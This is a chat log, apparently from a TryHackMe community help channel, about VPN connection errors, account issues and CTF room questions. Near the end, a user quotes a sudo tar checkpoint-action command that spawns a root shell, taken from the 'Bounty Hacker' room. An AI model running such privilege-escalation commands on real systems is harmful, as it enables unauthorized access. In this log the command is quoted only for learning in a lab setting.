Thu Nov 26 09:46:45 2020 OpenSSL: error:0909006C:PEM routines:get_name:no start line
Thu Nov 26 09:46:45 2020 OpenSSL: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
Thu Nov 26 09:46:45 2020 Cannot load inline certificate file
Thu Nov 26 09:46:45 2020 Exiting due to fatal error
@eager fulcrum
Go to tryhackme, to the access page
Click regenerate
Wait 30-60 seconds
Download the new config file and overwrite the old one
Try again
ok
Segmentation fault
that appeared
when I gave the command again
@eager fulcrum
Screenshot
Please don't call me bro, it's uncomfortable seeing as you don't know me
But I'm glad it's working
stupid question but.. how do I upload an avatar on THM website?
I get the error "Select an image file to upload your avatar!"
have an image locally on your computer to select as your image
click the avatar (or lack thereof) on your profile
yup, and then I select the file, and I get the image. Doesn't upload. I've turned off ublock and adblocks and all
I get the error "Select an image file to upload your avatar!"
I don't see any specifications, not size nor file type
OWASP Juice Shop is really bad for timing out unless i use an attackbox but then I have to use an attackbox which really sucks in my experience, slow and not good for people used to using keyboard shortcuts.. It is a real shame, I am connected to the premium vpn but it will timeout very early on
You're most likely running multiple vpns if you're experiencing connection issues
Maybe, i check with ps and i took a break and did a different challenge that worked
!multivpn
Make sure you have setup your VPN connection correctly https://tryhackme.com/room/openvpn
Type ps aux | grep openvpn into your terminal and press enter
If there's more than one line (that don't start with "grep" or sudo), do the following steps
Type sudo killall openvpn into your terminal and press enter
Start the VPN with sudo openvpn <path-to-config>
You should also be able to RDP or VNC into the attackbox
If you're a free user, the free attackbox spawns with a lot fewer resources
Im a premium user but thanks a ton for the heads up, that is exactly what I will do!
How to change my username??
Email support@tryhackme.com
Ok, thanks
any ideas what I can do about my website avatar issue?
What issue?
No π¦
Idk who to ask then π
I cannot upload an avatar to the webpage.
On tryhackme profile?
yup
So, what is the issue? Are you using jpg or what?
yes, am I not allowed to do that? @placid mango
ah.. I changed the file type to png and it worked.. Did not say anywhere on the site that I must use png
can someone help me please. i am looking to have all my progress reset so that i can start again, i have taken a few months off and want to restart my progress! i signed up to another account and subscribed but i used paypal like an idiot so it subbed to my account that had done a load of rooms
You're best divulging to support@tryhackme.com (: be sure to include your THM username, receipts etc π
thanks, i will drop them an email. i dont suppose a lot of people want to redo rooms etc but i think the ability to reset them would be great to refresh memory
Hi guys! I have a little problem with the vpn. I can't connect to the server but the thmUI says I'm connected. I made a new file but still I can't connect and the thmUi says I'm disconnected. Could someone help me?
You're not connected to the VPN on the left hand screen
yes i know its ran into fatal error as you can see but I don't know why
I made a new file. I thought it's will be okay but it isn't
Is it a VM or what?
It looks like you're missing the tun module
@modest cedar did you get this solved.
It looks like you're missing the tun module
okay, thanks but this question is required more time on google
Hey, I am doing Blue room, but exploit that is supposed to use there doesnt work for me, may you help me? Thanks
@modest cedar You haven't created a VPN have you with the config file, top right under network. Just wondering if you've created a VPN connection and got that running whilst also running it in the terminal.
Yes I did it
@hollow magnet Do not use the network manager
it's horrifically broken and adds incorrect routes
Correct
I scrapped that and just deleted the VPN connection and Sudo openvpn instead and it worked.
They seem to be missing the kernel module
LHOST is wrong
@modest cedar Delete that VPN connection in network manager
Module is also wrong @unborn cape
@mortal barn And just "Sudo openvpn file.ovpn" see how you go.
The thm is an alias for it as you can see it
Load the kernel module like the stack overflow post suggests
@WoLfY no worries.
My streak was reset even though I answered some questions and my history isnβt empty, can someone help me?
There is a 24 hours timer, everytime you answer a question the timer is reset back to 24 hours and you have to answer a question again before 24 hours are over. So, you can still loose you streak if your answer every day but the last answer was more than 24 hours ago
Thatβs probably it then, thanks
Is there any way to reset machine and root is again?
You can redeploy the machine. Or you mean resetting room progress?
Resetting
Ask the room creator to reset it or send mail to hello@tryhackme.com with your username.
@placid mango no I don't want to reset it actually ! I thought there might be a way! To reset it by myself
But can you tell me why shodan room is private?@placid mango
Things keep changing and breaking room iirc that's why it has made private.
Okayβ€οΈππ»
Hello i need urgent support with my streak
who can i reach out to urgently
Anyone here?
@potent flicker do you need help with your streak?
i'd suggest emailing support (support@tryhackme.com)
ok ill do that
@celest sapphire idk why my 25 days streak gone even after 24hours haven't completed
24 since last question or 24 hours from previous day
because if you're counting days it doesn't work that way
What image?
In a particular room, or in all of them
Can you view Imgur links normally?
is there any logout from all devices in thm?
I don't think so. But changing your password would do that I guess
works fine for me, try ctrl+shift+r
nope it does not log you out

hi guys , is there any issues with the vpn server for the throwback network ? i keep gettings disconnected
hi, i'm trying to install enum4linux in the tryhackme Attack Box using the command 'apt-get install enum4linux' but i failed.
Here is the output:
apt-get install enum4linux
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package enum4linux
Can anyone help me?
i found it thank you very much:)
any ways to be able to have a vpn up for both my windows machine and Kali at the same time ?
I have a problem, if anyone could help me that would be good
@naive dust How do we know if we can help you if we don't know what the problem is?
Can I DM you? I have a screenshot
What is it about?
My PuTTY isn't working
Ok, there's no reason at all that that needs to be a DM
A connection timed out error
Connect to the VPN.
Sorry, just asked in case I have to share the SS
You can post screenshots here.
That would expose my test machine's IP
here it is anyways
Thanks for the help @eager fulcrum
@naive dust has the issue been sorted?
Just connecting to the VPN
Okay awesome
Those are temporary and not sensitive information
LOL, Yes
I can't see anything in the config file...is it like that?
I've downloaded this one
Help required
Follow this room
Oh, wrong webpage ss sent, I've downloaded the OVPN btw
I am saying that I've downloaded the VPN and need a .ovpn file to import
and the directory where the Read Me file is suggesting to, is empty
That comes from the access page as the VPN room tells you
Did you skip the welcome room?
No?
So you should have already connected to the VPN
If you followed the welcome room or the VPN room that I linked, it walks you through the steps
There's a solution for that pinned.
I don't have the config file
There's a solution for that pinned.
Yes, checking
Got the config file
The GUI file is open in my laptop but the icon isn't showing up now
wait, it was running in the background, closed it and then imported the config file
Thanks for the help tho
It usually gets tucked up in the system tray on windows @naive dust
GL with the exam! @eager fulcrum
Just finished the "Bounty Hacker" room with a bit of help from auntie Google.
Can someone walk me through why this command works?
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Look at the tar manual pages. Itβs built in to tar. Also please use the proper channel
Hi, I was just wondering is openvpn safe?
yes
for the purposes of THM and HTB and other ethical hacking sites, all it does is add a route to your IP table so you're able to get on to the private network of the site @proper moat
np
can anyone teach me how to use SCP command? I can't get it..
wrong channel for that question. #general #infosec-general
oh okay
and that's also quite google-able
wrong channel for that question. #general #infosec-general
yes I know
OpenVPN should be opened on my regular workspace, not the virtual machine. Correct?


